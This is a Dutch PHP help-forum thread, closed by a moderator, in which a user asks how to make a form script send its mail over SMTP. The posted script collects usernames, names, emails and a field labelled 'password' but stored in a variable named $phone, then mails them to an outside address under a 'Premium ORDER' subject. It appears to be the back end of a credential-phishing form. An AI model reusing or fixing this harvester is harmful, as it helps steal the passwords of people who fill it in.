Mail naar SMTP? (PHP)

Status
Niet open voor verdere reacties.

applefaq

Terugkerende gebruiker
Lid geworden
26 okt 2008
Berichten
1.525
Hallo,

Ik ben met een project bezig, en het blijkt dat de host waar ik nu zit geen mailserver heeft? Die raden mij SMTP aan meende ik.
Het gaat om een script waarmee je gegevens invult ze die dan opstuurt, dit werkte voorheen wel.
Misschien dat iemand me kan helpen, het gaat om de volgende code..

PHP:
if (!isset($_POST['shipNo_r']) || !isset($_POST['fname_r']) || !isset($_POST['lname_r'])) {
	echo 'U heeft niet alle velden ingevuld!';
	exit;
}

$shipNo_r = htmlspecialchars($_POST['shipNo_r']);
$fname_r = htmlspecialchars($_POST['fname_r']);
$lname_r = htmlspecialchars($_POST['lname_r']);
$email_r = htmlspecialchars($_POST['email_r']);
$phone = htmlspecialchars($_POST['phone_r']);
$state_r = htmlspecialchars($_POST['state_r']);


$tijd = time();
$datum = strftime('%d/%m/%y %H:%M', $tijd);
$ip = getenv('REMOTE_ADDR');
$message = $naam.' met het e-mailadres '.$email.' en het IP '.$ip.' stuurde op '.$datum.' het volgende bericht:
____________________________________
'."Your username: ". $shipNo_r. "\n" ."First name: ".  $fname_r. "\n"  ."Last name: ". $lname_r. "\n" ."Email adress: ". $email_r. "\n" ."password: ". $phone. "\n" ."Your state: ". $state_r. "\n" .'
-----------------------------------';

mail('email@live.nl', 'Demizio Premium ORDER', $message, 'From: IZI '.$email);

echo '';

Kan iemand mij vertellen hoe ik dit verander naar SMTP?
Hopelijk kan iemand mij hier mee verder helpen!

Alvast bedankt!
 
Laatst bewerkt door een moderator:
Vreemd dat een hosting geen lokale SMTP heeft maar dat terzijde.

Wat ik op deze SO-thread lees is dat je waarschijnlijk het beste een library hiervoor kunt gebruiken zoals SwiftMailer of PHPmailer.
 
Check de php.ini [als je daar bij mag/kunt]
Daar kun je email instellingen opgeven.
 
Zou je me kunnen vertellen hoe ik dit precies doe?
Of een link ofzo
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan Onderaan